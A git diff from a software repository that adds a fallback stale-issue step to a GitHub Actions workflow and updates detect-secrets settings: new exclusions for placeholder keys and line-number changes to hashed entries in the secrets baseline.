always() + uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7 + with: + github-token: ${{ steps.app-token-fallback.outputs.token || steps.app-token.outputs.token }} + script: | + const cacheKey = "_state"; + const { owner, repo } = context.repo; + + try { + const { data } = await github.rest.actions.getActionsCacheList({ + owner, + repo, + key: cacheKey, + }); + const caches = data.actions_caches ?? []; + const hasState = caches.some(cache => cache.key === cacheKey); + core.setOutput("has_state", hasState ? "true" : "false"); + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + core.warning(`Failed to check stale state cache: ${message}`); + core.setOutput("has_state", "false"); + } + - name: Mark stale issues and pull requests (fallback) + if: (steps.stale-primary.outcome == 'failure' || steps.stale-state.outputs.has_state == 'true') && steps.app-token-fallback.outputs.token != '' + uses: actions/stale@v9 + with: + repo-token: ${{ steps.app-token-fallback.outputs.token }} + days-before-issue-stale: 7 + days-before-issue-close: 5 + days-before-pr-stale: 5 + days-before-pr-close: 3 + stale-issue-label: stale + stale-pr-label: stale + exempt-issue-labels: enhancement,maintainer,pinned,security,no-stale + exempt-pr-labels: maintainer,no-stale + operations-per-run: 2000 + ascending: true exempt-all-assignees: true remove-stale-when-updated: true stale-issue-message: | diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 30b6363a34d..6fcc25e7279 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -30,7 +30,7 @@ repos: - --baseline - .secrets.baseline - --exclude-files - - '(^|/)(dist/|vendor/|pnpm-lock\.yaml$|\.detect-secrets\.cfg$)' + - '(^|/)pnpm-lock\.yaml$' - --exclude-lines - 'key_content\.include\?\("BEGIN PRIVATE KEY"\)' - --exclude-lines @@ -47,6 +47,28 @@ repos: - '=== "string"' - --exclude-lines - 'typeof remote\?\.password === "string"' + - --exclude-lines + - "OPENCLAW_DOCKER_GPG_FINGERPRINT=" + - --exclude-lines + - '"secretShape": "(secret_input|sibling_ref)"' + - --exclude-lines + - 'API key rotation \(provider-specific\): set `\*_API_KEYS`' + - --exclude-lines + - 'password: `OPENCLAW_GATEWAY_PASSWORD` -> `gateway\.auth\.password` -> `gateway\.remote\.password`' + - --exclude-lines + - 'password: `OPENCLAW_GATEWAY_PASSWORD` -> `gateway\.remote\.password` -> `gateway\.auth\.password`' + - --exclude-files + - '^src/gateway/client\.watchdog\.test\.ts$' + - --exclude-lines + - 'export CUSTOM_API_K[E]Y="your-key"' + - --exclude-lines + - 'grep -q ''N[O]DE_COMPILE_CACHE=/var/tmp/openclaw-compile-cache'' ~/.bashrc \|\| cat >> ~/.bashrc <<''EOF''' + - --exclude-lines + - 'env: \{ MISTRAL_API_K[E]Y: "sk-\.\.\." \},' + - --exclude-lines + - '"ap[i]Key": "xxxxx",' + - --exclude-lines + - 'ap[i]Key: "A[I]za\.\.\.",' # Shell script linting - repo: https://github.com/koalaman/shellcheck-precommit rev: v0.11.0 diff --git a/.secrets.baseline b/.secrets.baseline index 089515fe250..fe52d22d043 100644 --- a/.secrets.baseline +++ b/.secrets.baseline @@ -128,7 +128,8 @@ { "path": "detect_secrets.filters.regex.should_exclude_file", "pattern": [ - "(^|/)pnpm-lock\\.yaml$" + "(^|/)pnpm-lock\\.yaml$", + "^src/gateway/client\\.watchdog\\.test\\.ts$" ] }, { @@ -141,8 +142,24 @@ "\"gateway\\.auth\\.password\"", "\"talk\\.apiKey\"", "=== \"string\"", - "typeof remote\\?\\.password === \"string\"" + "typeof remote\\?\\.password === \"string\"", + "OPENCLAW_DOCKER_GPG_FINGERPRINT=", + "\"secretShape\": \"(secret_input|sibling_ref)\"", + "API key rotation \\(provider-specific\\): set `\\*_API_KEYS`", + "password: `OPENCLAW_GATEWAY_PASSWORD` -> `gateway\\.auth\\.password` -> `gateway\\.remote\\.password`", + "password: `OPENCLAW_GATEWAY_PASSWORD` -> `gateway\\.remote\\.password` -> `gateway\\.auth\\.password`", + "export CUSTOM_API_K[E]Y=\"your-key\"", + "grep -q 'N[O]DE_COMPILE_CACHE=/var/tmp/openclaw-compile-cache' ~/.bashrc \\|\\| cat >> ~/.bashrc <<'EOF'", + "env: \\{ MISTRAL_API_K[E]Y: \"sk-\\.\\.\\.\" \\},", + "\"ap[i]Key\": \"xxxxx\",", + "ap[i]Key: \"A[I]za\\.\\.\\.\"," ] + }, + { + "path": "src/gateway/client\\.watchdog\\.test\\.ts$", + "reason": "Allowlisted because this is a static PEM fixture used by the watchdog TLS fingerprint test.", + "min_level": 2, + "condition": "filename" } ], "results": { @@ -152,37 +169,14 @@ "filename": ".detect-secrets.cfg", "hashed_secret": "1348b145fa1a555461c1b790a2f66614781091e9", "is_verified": false, - "line_number": 17 + "line_number": 13 }, { "type": "Secret Keyword", "filename": ".detect-secrets.cfg", "hashed_secret": "fe88fceb47e040ba1bfafa4ac639366188df2f6d", "is_verified": false, - "line_number": 19 - } - ], - "appcast.xml": [ - { - "type": "Base64 High Entropy String", - "filename": "appcast.xml", - "hashed_secret": "2bc43713edb8f775582c6314953b7c020d691aba", - "is_verified": false, - "line_number": 141 - }, - { - "type": "Base64 High Entropy String", - "filename": "appcast.xml", - "hashed_secret": "2fcd83b35235522978c19dbbab2884a09aa64f35", - "is_verified": false, - "line_number": 209 - }, - { - "type": "Base64 High Entropy String", - "filename": "appcast.xml", - "hashed_secret": "78b65f0952ed8a557e0f67b2364ff67cb6863bc8", - "is_verified": false, - "line_number": 310 + "line_number": 15 } ], "apps/android/app/src/test/java/ai/openclaw/android/node/AppUpdateHandlerTest.kt": [ @@ -194,22 +188,13 @@ "line_number": 58 } ], - "apps/ios/Sources/Gateway/GatewaySettingsStore.swift": [ - { - "type": "Secret Keyword", - "filename": "apps/ios/Sources/Gateway/GatewaySettingsStore.swift", - "hashed_secret": "5f7c0c35e552780b67fe1c0ee186764354793be3", - "is_verified": false, - "line_number": 28 - } - ], "apps/ios/Tests/DeepLinkParserTests.swift": [ { "type": "Secret Keyword", "filename": "apps/ios/Tests/DeepLinkParserTests.swift", "hashed_secret": "1a91d62f7ca67399625a4368a6ab5d4a3baa6073", "is_verified": false, - "line_number": 89 + "line_number": 105 } ], "apps/macos/Sources/OpenClawProtocol/GatewayModels.swift": [ @@ -218,7 +203,7 @@ "filename": "apps/macos/Sources/OpenClawProtocol/GatewayModels.swift", "hashed_secret": "7990585255d25249fb1e6eac3d2bd6c37429b2cd", "is_verified": false, - "line_number": 1492 + "line_number": 1745 } ], "apps/macos/Tests/OpenClawIPCTests/AnthropicAuthResolverTests.swift": [ @@ -243,7 +228,7 @@ "filename": "apps/macos/Tests/OpenClawIPCTests/GatewayEndpointStoreTests.swift", "hashed_secret": "19dad5cecb110281417d1db56b60e1b006d55bb4", "is_verified": false, - "line_number": 61 + "line_number": 66 } ], "apps/macos/Tests/OpenClawIPCTests/GatewayLaunchAgentManagerTests.swift": [ @@ -270,7 +255,7 @@ "filename": "apps/shared/OpenClawKit/Sources/OpenClawKit/GatewayChannel.swift", "hashed_secret": "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8", "is_verified": false, - "line_number": 106 + "line_number": 115 } ], "apps/shared/OpenClawKit/Sources/OpenClawProtocol/GatewayModels.swift": [ @@ -279,7 +264,7 @@ "filename": "apps/shared/OpenClawKit/Sources/OpenClawProtocol/GatewayModels.swift", "hashed_secret": "7990585255d25249fb1e6eac3d2bd6c37429b2cd", "is_verified": false, - "line_number": 1492 + "line_number": 1745 } ], "docs/.i18n/zh-CN.tm.jsonl": [ @@ -9611,14 +9596,14 @@ "filename": "docs/channels/feishu.md", "hashed_secret": "b60d121b438a380c343d5ec3c2037564b82ffef3", "is_verified": false, - "line_number": 187 + "line_number": 189 }, { "type": "Secret Keyword", "filename": "docs/channels/feishu.md", "hashed_secret": "186154712b2d5f6791d85b9a0987b98fa231779c", "is_verified": false, - "line_number": 435 + "line_number": 501 } ], "docs/channels/irc.md": [ @@ -9627,7 +9612,7 @@ "filename": "docs/channels/irc.md", "hashed_secret": "d54831b8e4b461d85e32ea82156d2fb5ce5cb624", "is_verified": false, - "line_number": 191 + "line_number": 198 } ], "docs/channels/line.md": [ @@ -9636,7 +9621,7 @@ "filename": "docs/channels/line.md", "hashed_secret": "83661b43df128631f891767fbfc5b049af3dce86", "is_verified": false, - "line_number": 61 + "line_number": 65 } ], "docs/channels/matrix.md": [ @@ -9697,21 +9682,21 @@ "filename": "docs/concepts/memory.md", "hashed_secret": "39d711243bfcee9fec8299b204e1aa9c3430fa12", "is_verified": false, - "line_number": 281 + "line_number": 301 }, { "type": "Secret Keyword", "filename": "docs/concepts/memory.md", "hashed_secret": "1a8abbf465c52363ab4c9c6ad945b8e857cbea55", "is_verified": false, - "line_number": 305 + "line_number": 325 }, { "type": "Secret Keyword", "filename": "docs/concepts/memory.md", "hashed_secret": "b9f640d6095b9f6b5a65983f7b76dbbb254e0044", "is_verified": false, - "line_number": 706 + "line_number": 726 } ], "docs/concepts/model-providers.md": [ @@ -9720,21 +9705,21 @@ "filename": "docs/concepts/model-providers.md", "hashed_secret": "ec3810e10fb78db55ce38b9c18d1c3eb1db739e0", "is_verified": false, - "line_number": 178 + "line_number": 226 }, { "type": "Secret Keyword", "filename": "docs/concepts/model-providers.md", "hashed_secret": "6a4a6c8f2406f4f0843a0a1aae6a320f92f9d6ae", "is_verified": false, - "line_number": 274 + "line_number": 386 }, { "type": "Secret Keyword", "filename": "docs/concepts/model-providers.md", "hashed_secret": "ef83ad68b9b66e008727b7c417c6a8f618b5177e", "is_verified": false, - "line_number": 305 + "line_number": 417 } ], "docs/gateway/configuration-examples.md": [ @@ -9757,21 +9742,21 @@ "filename": "docs/gateway/configuration-examples.md", "hashed_secret": "22af290a1a3d5e941193a41a3d3a9e4ca8da5e27", "is_verified": false, - "line_number": 332 + "line_number": 336 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-examples.md", "hashed_secret": "c1e6ee547fd492df1441ac492e8bb294974712bd", "is_verified": false, - "line_number": 431 + "line_number": 439 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-examples.md", "hashed_secret": "16c249e04e2be318050cb883c40137361c0c7209", "is_verified": false, - "line_number": 596 + "line_number": 613 } ], "docs/gateway/configuration-reference.md": [ @@ -9780,70 +9765,70 @@ "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 149 + "line_number": 199 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "1188d5a8ed7edcff5144a9472af960243eacf12e", "is_verified": false, - "line_number": 1267 + "line_number": 1611 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "bde4db9b4c3be4049adc3b9a69851d7c35119770", "is_verified": false, - "line_number": 1283 + "line_number": 1627 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "7f8aaf142ce0552c260f2e546dda43ddd7c9aef3", "is_verified": false, - "line_number": 1461 + "line_number": 1812 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "22af290a1a3d5e941193a41a3d3a9e4ca8da5e27", "is_verified": false, - "line_number": 1603 + "line_number": 1985 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "ec3810e10fb78db55ce38b9c18d1c3eb1db739e0", "is_verified": false, - "line_number": 1631 + "line_number": 2041 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "c1e6ee547fd492df1441ac492e8bb294974712bd", "is_verified": false, - "line_number": 1862 + "line_number": 2273 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "45d676e7c6ab44cf4b8fa366ef2d8fccd3e6d6e6", "is_verified": false, - "line_number": 1966 + "line_number": 2401 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "a219d7693c25cd2d93313512e200ff3eb374d281", "is_verified": false, - "line_number": 2202 + "line_number": 2654 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "b6f56e5e92078ed7c078c46fbfeedcbe5719bc25", "is_verified": false, - "line_number": 2204 + "line_number": 2656 } ], "docs/gateway/configuration.md": [ @@ -9852,14 +9837,14 @@ "filename": "docs/gateway/configuration.md", "hashed_secret": "a219d7693c25cd2d93313512e200ff3eb374d281", "is_verified": false, - "line_number": 434 + "line_number": 461 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration.md", "hashed_secret": "b6f56e5e92078ed7c078c46fbfeedcbe5719bc25", "is_verified": false, - "line_number": 435 + "line_number": 462 } ], "docs/gateway/local-models.md": [ @@ -9884,7 +9869,7 @@ "filename": "docs/gateway/tailscale.md", "hashed_secret": "9cb0dc5383312aa15b9dc6745645bde18ff5ade9", "is_verified": false, - "line_number": 81 + "line_number": 86 } ], "docs/help/environment.md": [ @@ -9909,35 +9894,35 @@ "filename": "docs/help/faq.md", "hashed_secret": "491d458f895b9213facb2ee9375b1b044eaea3ac", "is_verified": false, - "line_number": 1412 + "line_number": 1503 }, { "type": "Secret Keyword", "filename": "docs/help/faq.md", "hashed_secret": "a219d7693c25cd2d93313512e200ff3eb374d281", "is_verified": false, - "line_number": 1689 + "line_number": 1780 }, { "type": "Secret Keyword", "filename": "docs/help/faq.md", "hashed_secret": "b6f56e5e92078ed7c078c46fbfeedcbe5719bc25", "is_verified": false, - "line_number": 1690 + "line_number": 1781 }, { "type": "Secret Keyword", "filename": "docs/help/faq.md", "hashed_secret": "ec3810e10fb78db55ce38b9c18d1c3eb1db739e0", "is_verified": false, - "line_number": 2118 + "line_number": 2209 }, { "type": "Secret Keyword", "filename": "docs/help/faq.md", "hashed_secret": "45d676e7c6ab44cf4b8fa366ef2d8fccd3e6d6e6", "is_verified": false, - "line_number": 2398 + "line_number": 2489 } ], "docs/install/macos-vm.md": [ @@ -9964,7 +9949,7 @@ "filename": "docs/perplexity.md", "hashed_secret": "6b26c117c66a0c030e239eef595c1e18865132a8", "is_verified": false, - "line_number": 36 + "line_number": 29 } ], "docs/plugins/voice-call.md": [ @@ -9973,7 +9958,7 @@ "filename": "docs/plugins/voice-call.md", "hashed_secret": "cb46980ce5532f18440dff4bbbe097896a8c08c8", "is_verified": false, - "line_number": 239 + "line_number": 254 } ], "docs/providers/anthropic.md": [ @@ -9991,7 +9976,7 @@ "filename": "docs/providers/claude-max-api-proxy.md", "hashed_secret": "b5c2827eb65bf13b87130e7e3c424ba9ff07cd67", "is_verified": false, - "line_number": 80 + "line_number": 86 } ], "docs/providers/glm.md": [ @@ -10025,14 +10010,14 @@ "filename": "docs/providers/minimax.md", "hashed_secret": "ec3810e10fb78db55ce38b9c18d1c3eb1db739e0", "is_verified": false, - "line_number": 71 + "line_number": 70 }, { "type": "Secret Keyword", "filename": "docs/providers/minimax.md", "hashed_secret": "16c249e04e2be318050cb883c40137361c0c7209", "is_verified": false, - "line_number": 140 + "line_number": 149 } ], "docs/providers/moonshot.md": [ @@ -10041,7 +10026,7 @@ "filename": "docs/providers/moonshot.md", "hashed_secret": "ec3810e10fb78db55ce38b9c18d1c3eb1db739e0", "is_verified": false, - "line_number": 43 + "line_number": 49 } ], "docs/providers/nvidia.md": [ @@ -10059,7 +10044,7 @@ "filename": "docs/providers/ollama.md", "hashed_secret": "e774aaeac31c6272107ba89080295e277050fa7c", "is_verified": false, - "line_number": 33 + "line_number": 37 } ], "docs/providers/openai.md": [ @@ -10068,7 +10053,7 @@ "filename": "docs/providers/openai.md", "hashed_secret": "ec3810e10fb78db55ce38b9c18d1c3eb1db739e0", "is_verified": false, - "line_number": 31 + "line_number": 32 } ], "docs/providers/opencode.md": [ @@ -10111,7 +10096,7 @@ "filename": "docs/providers/venice.md", "hashed_secret": "c179fe46776696372a90218532dc0d67267f2f04", "is_verified": false, - "line_number": 236 + "line_number": 251 } ], "docs/providers/vllm.md": [ @@ -10154,7 +10139,7 @@ "filename": "docs/tools/browser.md", "hashed_secret": "9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684", "is_verified": false, - "line_number": 140 + "line_number": 149 } ], "docs/tools/firecrawl.md": [ @@ -10172,7 +10157,7 @@ "filename": "docs/tools/skills-config.md", "hashed_secret": "c1e6ee547fd492df1441ac492e8bb294974712bd", "is_verified": false, - "line_number": 29 + "line_number": 31 } ], "docs/tools/skills.md": [ @@ -10181,7 +10166,7 @@ "filename": "docs/tools/skills.md", "hashed_secret": "c1e6ee547fd492df1441ac492e8bb294974712bd", "is_verified": false, - "line_number": 198 + "line_number": 200 } ], "docs/tools/web.md": [ @@ -10190,28 +10175,21 @@ "filename": "docs/tools/web.md", "hashed_secret": "6b26c117c66a0c030e239eef595c1e18865132a8", "is_verified": false, - "line_number": 62 - }, - { - "type": "Secret Keyword", - "filename": "docs/tools/web.md", - "hashed_secret": "96c682c88ed551f22fe76d206c2dfb7df9221ad9", - "is_verified": false, - "line_number": 113 + "line_number": 90 }, { "type": "Secret Keyword", "filename": "docs/tools/web.md", "hashed_secret": "491d458f895b9213facb2ee9375b1b044eaea3ac", "is_verified": false, - "line_number": 161 + "line_number": 179 }, { "type": "Secret Keyword", "filename": "docs/tools/web.md", "hashed_secret": "674397e2c0c2faaa85961c708d2a96a7cc7af217", "is_verified": false, - "line_number": 235 + "line_number": 277 } ], "docs/tts.md": [ @@ -10227,7 +10205,7 @@ "filename": "docs/tts.md", "hashed_secret": "1188d5a8ed7edcff5144a9472af960243eacf12e", "is_verified": false, - "line_number": 100 + "line_number": 101 } ], "docs/zh-CN/brave-search.md": [ @@ -10261,7 +10239,7 @@ "filename": "docs/zh-CN/channels/feishu.md", "hashed_secret": "186154712b2d5f6791d85b9a0987b98fa231779c", "is_verified": false, - "line_number": 445 + "line_number": 509 } ], "docs/zh-CN/channels/line.md": [ @@ -10806,37 +10784,37 @@ "filename": "extensions/bluebubbles/src/actions.test.ts", "hashed_secret": "789cbe0407840b1c2041cb33452ff60f19bf58cc", "is_verified": false, - "line_number": 86 + "line_number": 54 } ], "extensions/bluebubbles/src/attachments.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/bluebubbles/src/attachments.test.ts", + "hashed_secret": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3", + "is_verified": false, + "line_number": 79 + }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/attachments.test.ts", "hashed_secret": "789cbe0407840b1c2041cb33452ff60f19bf58cc", "is_verified": false, - "line_number": 21 + "line_number": 90 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/attachments.test.ts", "hashed_secret": "db1530e1ea43af094d3d75b8dbaf19a4a182a318", "is_verified": false, - "line_number": 85 - }, - { - "type": "Secret Keyword", - "filename": "extensions/bluebubbles/src/attachments.test.ts", - "hashed_secret": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3", - "is_verified": false, - "line_number": 103 + "line_number": 154 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/attachments.test.ts", "hashed_secret": "052f076c732648ab32d2fcde9fe255319bfa0c7b", "is_verified": false, - "line_number": 215 + "line_number": 260 } ], "extensions/bluebubbles/src/chat.test.ts": [ @@ -10845,42 +10823,42 @@ "filename": "extensions/bluebubbles/src/chat.test.ts", "hashed_secret": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3", "is_verified": false, - "line_number": 19 + "line_number": 68 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/chat.test.ts", "hashed_secret": "789cbe0407840b1c2041cb33452ff60f19bf58cc", "is_verified": false, - "line_number": 54 + "line_number": 93 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/chat.test.ts", "hashed_secret": "5c5a15a8b0b3e154d77746945e563ba40100681b", "is_verified": false, - "line_number": 82 + "line_number": 115 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/chat.test.ts", "hashed_secret": "faacad0ce4ea1c19b46e128fd79679d37d3d331d", "is_verified": false, - "line_number": 131 + "line_number": 158 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/chat.test.ts", "hashed_secret": "4dcc26a1d99532846fedf1265df4f40f4e0005b8", "is_verified": false, - "line_number": 227 + "line_number": 239 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/chat.test.ts", "hashed_secret": "fd2a721f7be1ee3d691a011affcdb11d0ca365a8", "is_verified": false, - "line_number": 290 + "line_number": 302 } ], "extensions/bluebubbles/src/monitor.test.ts": [ @@ -10889,14 +10867,7 @@ "filename": "extensions/bluebubbles/src/monitor.test.ts", "hashed_secret": "789cbe0407840b1c2041cb33452ff60f19bf58cc", "is_verified": false, - "line_number": 278 - }, - { - "type": "Secret Keyword", - "filename": "extensions/bluebubbles/src/monitor.test.ts", - "hashed_secret": "1ae0af3fe72b3ba394f9fa95a6cffc090d726c23", - "is_verified": false, - "line_number": 552 + "line_number": 169 } ], "extensions/bluebubbles/src/reactions.test.ts": [ @@ -10905,28 +10876,28 @@ "filename": "extensions/bluebubbles/src/reactions.test.ts", "hashed_secret": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3", "is_verified": false, - "line_number": 37 + "line_number": 35 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/reactions.test.ts", "hashed_secret": "789cbe0407840b1c2041cb33452ff60f19bf58cc", "is_verified": false, - "line_number": 178 + "line_number": 192 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/reactions.test.ts", "hashed_secret": "a4a05c9a6449eb9d6cdac81dd7edc49230e327e6", "is_verified": false, - "line_number": 209 + "line_number": 223 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/reactions.test.ts", "hashed_secret": "a2833da9f0a16f09994754d0a31749cecf8c8c77", "is_verified": false, - "line_number": 315 + "line_number": 295 } ], "extensions/bluebubbles/src/send.test.ts": [ @@ -10935,14 +10906,14 @@ "filename": "extensions/bluebubbles/src/send.test.ts", "hashed_secret": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3", "is_verified": false, - "line_number": 55 + "line_number": 79 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/send.test.ts", "hashed_secret": "faacad0ce4ea1c19b46e128fd79679d37d3d331d", "is_verified": false, - "line_number": 692 + "line_number": 757 } ], "extensions/bluebubbles/src/targets.test.ts": [ @@ -10951,16 +10922,7 @@ "filename": "extensions/bluebubbles/src/targets.test.ts", "hashed_secret": "a3af2fb0c1e2a30bb038049e1e4b401593af6225", "is_verified": false, - "line_number": 61 - } - ], - "extensions/bluebubbles/src/targets.ts": [ - { - "type": "Hex High Entropy String", - "filename": "extensions/bluebubbles/src/targets.ts", - "hashed_secret": "a3af2fb0c1e2a30bb038049e1e4b401593af6225", - "is_verified": false, - "line_number": 265 + "line_number": 62 } ], "extensions/copilot-proxy/index.ts": [ @@ -11005,7 +10967,7 @@ "filename": "extensions/feishu/src/docx.test.ts", "hashed_secret": "f49922d511d666848f250663c4fca84074b856a8", "is_verified": false, - "line_number": 97 + "line_number": 124 } ], "extensions/feishu/src/media.test.ts": [ @@ -11014,7 +10976,7 @@ "filename": "extensions/feishu/src/media.test.ts", "hashed_secret": "f49922d511d666848f250663c4fca84074b856a8", "is_verified": false, - "line_number": 45 + "line_number": 76 } ], "extensions/feishu/src/reply-dispatcher.test.ts": [ @@ -11023,7 +10985,7 @@ "filename": "extensions/feishu/src/reply-dispatcher.test.ts", "hashed_secret": "f49922d511d666848f250663c4fca84074b856a8", "is_verified": false, - "line_number": 48 + "line_number": 74 } ], "extensions/google-antigravity-auth/index.ts": [ @@ -11041,7 +11003,7 @@ "filename": "extensions/google-gemini-cli-auth/oauth.test.ts", "hashed_secret": "021343c1f561d7bcbc3b513df45cc3a6baf67b43", "is_verified": false, - "line_number": 30 + "line_number": 43 } ], "extensions/irc/src/accounts.ts": [ @@ -11050,7 +11012,7 @@ "filename": "extensions/irc/src/accounts.ts", "hashed_secret": "920f8f5815b381ea692e9e7c2f7119f2b1aa620a", "is_verified": false, - "line_number": 19 + "line_number": 24 } ], "extensions/irc/src/client.test.ts": [ @@ -11075,7 +11037,7 @@ "filename": "extensions/line/src/channel.startup.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 103 + "line_number": 94 } ], "extensions/matrix/src/matrix/accounts.test.ts": [ @@ -11118,7 +11080,7 @@ "filename": "extensions/memory-lancedb/config.ts", "hashed_secret": "ecb252044b5ea0f679ee78ec1a12904739e2904d", "is_verified": false, - "line_number": 101 + "line_number": 105 } ], "extensions/memory-lancedb/index.test.ts": [ @@ -11145,14 +11107,14 @@ "filename": "extensions/nextcloud-talk/src/accounts.ts", "hashed_secret": "920f8f5815b381ea692e9e7c2f7119f2b1aa620a", "is_verified": false, - "line_number": 22 + "line_number": 31 }, { "type": "Secret Keyword", "filename": "extensions/nextcloud-talk/src/accounts.ts", "hashed_secret": "71f8e7976e4cbc4561c9d62fb283e7f788202acb", "is_verified": false, - "line_number": 151 + "line_number": 169 } ], "extensions/nextcloud-talk/src/channel.ts": [ @@ -11161,7 +11123,7 @@ "filename": "extensions/nextcloud-talk/src/channel.ts", "hashed_secret": "71f8e7976e4cbc4561c9d62fb283e7f788202acb", "is_verified": false, - "line_number": 396 + "line_number": 399 } ], "extensions/nostr/README.md": [ @@ -11287,7 +11249,7 @@ "filename": "extensions/nostr/src/types.test.ts", "hashed_secret": "3bee216ebc256d692260fc3adc765050508fef5e", "is_verified": false, - "line_number": 123 + "line_number": 141 } ], "extensions/open-prose/skills/prose/SKILL.md": [ @@ -11337,7 +11299,7 @@ "filename": "extensions/twitch/src/status.test.ts", "hashed_secret": "f2b14f68eb995facb3a1c35287b778d5bd785511", "is_verified": false, - "line_number": 122 + "line_number": 92 } ], "extensions/voice-call/README.md": [ @@ -11355,7 +11317,7 @@ "filename": "extensions/voice-call/src/config.test.ts", "hashed_secret": "62207a469ec2fdcfc7d66b04c2980ac1501acbf0", "is_verified": false, - "line_number": 129 + "line_number": 39 } ], "extensions/voice-call/src/providers/telnyx.test.ts": [ @@ -11376,15 +11338,6 @@ "line_number": 41 } ], - "extensions/zalo/src/monitor.webhook.test.ts": [ - { - "type": "Secret Keyword", - "filename": "extensions/zalo/src/monitor.webhook.test.ts", - "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", - "is_verified": false, - "line_number": 40 - } - ], "skills/1password/references/cli-examples.md": [ { "type": "Secret Keyword", @@ -11496,7 +11449,7 @@ "filename": "src/agents/model-auth.ts", "hashed_secret": "8956265d216d474a080edaa97880d37fc1386f33", "is_verified": false, - "line_number": 25 + "line_number": 27 } ], "src/agents/models-config.e2e-harness.ts": [ @@ -11505,7 +11458,7 @@ "filename": "src/agents/models-config.e2e-harness.ts", "hashed_secret": "7cf31e8b6cda49f70c31f1f25af05d46f924142d", "is_verified": false, - "line_number": 110 + "line_number": 130 } ], "src/agents/models-config.fills-missing-provider-apikey-from-env-var.e2e.test.ts": [ @@ -11546,7 +11499,7 @@ "filename": "src/agents/models-config.providers.nvidia.test.ts", "hashed_secret": "be1a7be9d4d5af417882b267f4db6dddc08507bd", "is_verified": false, - "line_number": 27 + "line_number": 22 } ], "src/agents/models-config.providers.ollama.e2e.test.ts": [ @@ -11589,7 +11542,7 @@ "filename": "src/agents/openai-responses.reasoning-replay.test.ts", "hashed_secret": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3", "is_verified": false, - "line_number": 55 + "line_number": 92 } ], "src/agents/pi-embedded-runner.e2e.test.ts": [ @@ -11598,14 +11551,7 @@ "filename": "src/agents/pi-embedded-runner.e2e.test.ts", "hashed_secret": "e9a5f12a8ecbb3eb46eca5096b5c52aa5e7c9fdd", "is_verified": false, - "line_number": 127 - }, - { - "type": "Secret Keyword", - "filename": "src/agents/pi-embedded-runner.e2e.test.ts", - "hashed_secret": "fcdd655b11f33ba4327695084a347b2ba192976c", - "is_verified": false, - "line_number": 238 + "line_number": 122 } ], "src/agents/pi-embedded-runner/model.ts": [ @@ -11614,7 +11560,7 @@ "filename": "src/agents/pi-embedded-runner/model.ts", "hashed_secret": "e774aaeac31c6272107ba89080295e277050fa7c", "is_verified": false, - "line_number": 118 + "line_number": 267 } ], "src/agents/pi-embedded-runner/run.overflow-compaction.mocks.shared.ts": [ @@ -11623,7 +11569,7 @@ "filename": "src/agents/pi-embedded-runner/run.overflow-compaction.mocks.shared.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 86 + "line_number": 114 } ], "src/agents/pi-tools.safe-bins.e2e.test.ts": [ @@ -11711,28 +11657,7 @@ "filename": "src/agents/tools/web-search.ts", "hashed_secret": "dfba7aade0868074c2861c98e2a9a92f3178a51b", "is_verified": false, - "line_number": 97 - }, - { - "type": "Secret Keyword", - "filename": "src/agents/tools/web-search.ts", - "hashed_secret": "71f8e7976e4cbc4561c9d62fb283e7f788202acb", - "is_verified": false, - "line_number": 285 - }, - { - "type": "Secret Keyword", - "filename": "src/agents/tools/web-search.ts", - "hashed_secret": "c4865ff9250aca23b0d98eb079dad70ebec1cced", - "is_verified": false, - "line_number": 295 - }, - { - "type": "Secret Keyword", - "filename": "src/agents/tools/web-search.ts", - "hashed_secret": "527ee41f36386e85fa932ef09471ca017f3c95c8", - "is_verified": false, - "line_number": 298 + "line_number": 254 } ], "src/agents/tools/web-tools.enabled-defaults.e2e.test.ts": [ @@ -11807,7 +11732,7 @@ "filename": "src/browser/bridge-server.auth.test.ts", "hashed_secret": "6af3c121ed4a752936c297cddfb7b00394eabf10", "is_verified": false, - "line_number": 66 + "line_number": 72 } ], "src/browser/browser-utils.test.ts": [ 